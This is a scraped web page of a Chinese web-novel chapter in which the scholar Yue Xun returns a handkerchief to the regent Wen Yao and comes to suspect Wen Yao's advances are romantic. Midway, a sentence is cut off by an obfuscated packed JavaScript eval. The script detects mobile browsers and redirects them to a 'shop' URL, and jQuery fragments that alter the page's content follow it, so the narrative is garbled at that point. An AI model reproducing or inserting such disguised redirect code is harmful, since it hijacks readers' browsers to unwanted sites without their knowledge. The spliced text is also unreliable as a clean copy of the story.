18. 第十八章:疑似龙阳

作品:《将北

    岳旬忽然清醒过来,头皮好像被密密麻麻的针扎过,只觉得后怕。他没想到温杳竟然有此等功力,竟然真能像志怪话本里披着画皮的恶鬼一般摄人心魄。


    太可怕了,果然还是不要总和他扯上关系为妙。


    岳旬赶紧将那烫手山芋从袖中摸出:“前几日受了皇叔的赏赐,不敢久留。帕子已经清洗干净,今日送还给皇叔。”


    “这就是你说的‘旁的生意’?这是个什么大事,非要‘借一步说话’,又不是同大姑娘私相授受,何至于此。”温杳听了,摇头发笑,表情中没有玩味,倒像是真心实意被逗乐了,“不是什么要紧东西,不必还了,拿着吧。”


    岳旬摸了摸自己的后颈,总觉得梦里温杳的刀还架在上面。他被温杳捏了几次后颈,一想起脖子,就觉得后脖颈那一块有茧子摩挲过去,不由地一皱眉:“我不想欠你什么。”


    “你已经欠了。”温杳不知想到什么高兴事,嘴角的笑意压都压不住。甚至还回过头来,意味不明看了岳旬一眼。


    他欠他什么?


    光听这内容,岳旬一下子火冒三丈。可当温杳这句话钻进岳旬的耳朵里时,他却诡异地从温杳那轻飘飘的语气里听出了几分……缱绻。


    这句话一下子就变了味道。仿佛他被囚于宁王府那几日并非是为人棋子,时刻要警惕着头颅搬家,而是与温杳发生了什么难以言明的辛密,故而欠了他什么情。


    这人说话怎么这样?


    饶是岳旬向来伶牙俐齿,也被他这一句话说得一时间反应不过来。可他把这话在心里滚了几个来回,也没咂摸明白可怕的瓷人忽然这般说话究竟是何意,等再想回话时已经错过了时机。


    他二人本是并排在小巷里行走,倘若只是说上几句话倒确实像是在商量事情。可若是在温杳那么一句意义不明的话之后,两个人全都沉默呢?


    那气氛就实在有些古怪了。


    岳旬也偏过头去看温杳的脸,拿出读经史集注的精神把他脸上的神情细细读来。


    看温杳表情,他大约丝毫不觉得自己方才那话有什么不妥,也没觉出他们两个在这里一言不发又有什么古怪,甚至可以说是非常松弛——连平日那种披着人皮的假人感都少了几分。


    总归看起来心情特别好。


    岳旬不想欠这种披着美人皮的恶鬼什么,他怕把温杳招过来在他梦里索命。正当他要开口询问时,手边忽然响起了一阵嘶哑的:“噶!”


    两个人同时看向了笼中的鹦哥。这位名叫彩衣郎的鹦鹉大爷只怕是有些看人下菜碟的毛病,自从见了温杳,别说骂人,吓得连屁都不敢放一个。它没想到会和温杳相处这么久,惊吓过度,实在没憋住,这才漏了声儿。


    现在再看它,拿两翅掩着脸,一看就是在装死。


    温杳轻车熟路伸出手,很自然打开笼门,逗弄了一下笼中的彩衣郎,一边用一双带笑的眼睛瞥视着岳旬:“我听闻你最近寻了个谋生的活计——伺候笔墨做清客对你倒也适宜。你那东家虽说看起来聒噪,好像是个只知道花钱挥霍的纨绔,但能把生意做到我跟前,你就应当明白这不是个可以小觑的人。”


    “薛琮十五六岁就死了父亲,自此带着寡母独自顶立门户,不过四五年的功夫,就已经算是松江府数一数二的棉布商了。”


    温杳那日远远一瞥,恰好看见薛琮拦截岳旬,手里拿着张纸听不清在说什么。后来打探到那薛琮自从进了金陵置办了宅子就开始广招清客,而岳旬也常常出入薛琮在金陵的宅邸,就能大概知晓岳旬是在靠什么谋生。


    “薛琮常同西洋人打交道,很是有些见识,做起海贸来比苏杭那几位老成丝绸商还要如鱼得水几分。你跟着他做事,也不妨为一种锻炼。”


    一提起这个岳旬脑子里“嗡”地响了一声,幸亏薛琮知晓他们这群读书的人要脸面,断然不愿意让旁人知道自己做的是写话本子的活计,于是对外统一都说这些清客是招揽来“润色笔墨、出谋划策、侍弄账目”的。


    这要是让温杳知道了,丢面子都是小事——他在《响翠传》里可是大肆编排摄政王欺男霸女鱼肉百姓,与他有“杀父夺妻”之仇——那他还不得掉脑袋!


    不是他舍不得脑袋,只是因着这种由头被宁王殿下杀掉,他就算下了阴曹地府也没脸见列祖列宗啊!


    来不及细想温杳为什么忽然指点起自己的生计,岳旬只想尽快把这话题混过去:“果然,皇叔一直都在监视我。”


    “好没意思。”温杳用手指拨拉战战兢兢的彩衣郎的鸟嘴,孩子吓得险些要把鸟嘴戳进胸脯子,“这种你我二人都知晓的事情,何必这样明说。”


    岳旬再度沉默。


    这话声生生让他听出一股,温杳在指责他负心薄幸的味道。


    那种隐秘而古怪的感觉再次泛了上来,让岳旬心绪纷乱,逼着他不得不审视起自己同温杳的相处。


    虽说二人都是男子,不必讲什么男女大防,可温杳这人实在有些……太不避讳了点。


    他总是用一种亲昵过头的古怪语气同自己说话,好像特别偏爱那种类似于耳鬓厮磨时耳语的语气,温柔缱绻、轻飘飘地叫自己的乳名。水淋淋地缠上来,好像湖底的水草。


    而这样的情形却又不止于言语。


    温杳用刀背拍他的脸,凉得像一块温不化的冰;温杳摩挲自己后脖颈,手指上的薄茧擦过后颈的皮肤,带来一阵难以言明的痒;温杳发现他在马车里拔刀时前胸贴后背地揽着他,抬手将他耳畔的发丝别到耳后;在后湖那日扬起马鞭来,却又只是拍了拍自己的面颊……林林总总,在一瞬间全都浮上了岳旬的心头,卡住了他的脑袋,让他觉得头皮有些发麻。


    不知怎的,岳旬恍然间想起除夕夜宫内百官宴上,康王骂温杳。好似是说他身边也没个姬妾,留着他做亲卫不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163802|196606||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是伺候什么。


    温杳当时什么反应来着……


    勃然大怒。


    一向冷静的温杳拍着桌子叱骂康王失心疯。


    完了。


    岳旬眼中的光亮瞬间黯淡了下去,神色和蔫头耷脑的彩衣郎也差不了多少——他当时正紧张,根本不曾细想,如今想来这别是被康王骂中了,恼羞成怒吧!难不成这人真有什么龙阳之好!


    岳旬猛然一个激灵,手里一拽,把鸟笼子从温杳手里拽了回来。速度太快,温杳的手在笼子口上卡了一下,划出一道明显的红痕。


    温杳神色不虞,抽出手来,用手指碾了几下那条红痕。


    太明显了。让岳旬想起小时候在外祖府上,周家舅母请他吃一碗牛乳,上面凝着厚厚的奶皮。舅母用小银匙沾了玫瑰露,在牛乳上面划过一道,而后笑嘻嘻捧着脸看他:“吃吧,舅母专门给你留的。”


    那牛乳是什么味道?


    温杳又拿手指碾了一下那条红痕,也没抬眼,反倒是一直盯着他手看的岳旬猛然回过神,“嘶”了一声。


    宁王殿下是刀山火海里滚出来的,这一下都没擦破点皮,哪算得了什么伤?他这是在干什么,故意碾给自己看的吗?!


    岳旬瞳孔都放大了。


    那可怕的瓷人低着头看手,眼睛翻上来仄了岳旬一眼:“我刮着了你‘嘶’什么?”


    岳旬扁着嘴憋着不敢动,这又是干什么,要他说什么?难道要他说“心疼”不成?


    太恐怖了!岳旬倒吸一口凉气,脸上五官都扭曲了,把彩衣郎死死抱在怀里,憋着气等候发落。


    这还不如死了呢。


    这神色变化太明显,自然又被温杳看在眼里。宁王殿下哪里晓得他心里在想什么,根本不明白这死孩子为什么忽然惊恐万状起来。他金尊玉贵的,哪犯得上去揣摩岳旬的心思。


    他本来应该是打算和岳旬多说几句什么,如今莫名其妙被岳旬拿鸟笼子卡着手,还拿这种表情看着他,瞬间眼里的笑意褪得干干净净,嘴都快绷成一条直线了。


    他拧着眉上下把岳旬打量了一番,表情竟然有点恨铁不成钢。宁王殿下向来口舌伶俐咄咄逼人,如今看着岳旬欲言又止了半晌,统共就蹦出来八个字:“疯疯癫癫,莫名其妙!”


    扔下这句话,温杳转头就走——他今日连个底下人都没带,看起来好像就是专门为了来找岳旬的,如今气得够呛,就更没必要在这穷街陋巷里和个小癫子掰扯来去了。


    独留岳旬一个人站在陋巷之中,和彩衣郎一人一鸟抱在一起,大有一种劫后余生之感,就差要抱头痛哭。


    “彩衣郎。”岳旬语气苦涩,看着笼中鹦鹉的两颗绿豆眼,长吁短叹,“看来我一开始就想左了,他不是想要我的脑袋,也不是打算把我当老鼠遛着玩——他这是想折辱我啊!”


    这可比拿刀架在他脖子上要他的命可怕多了。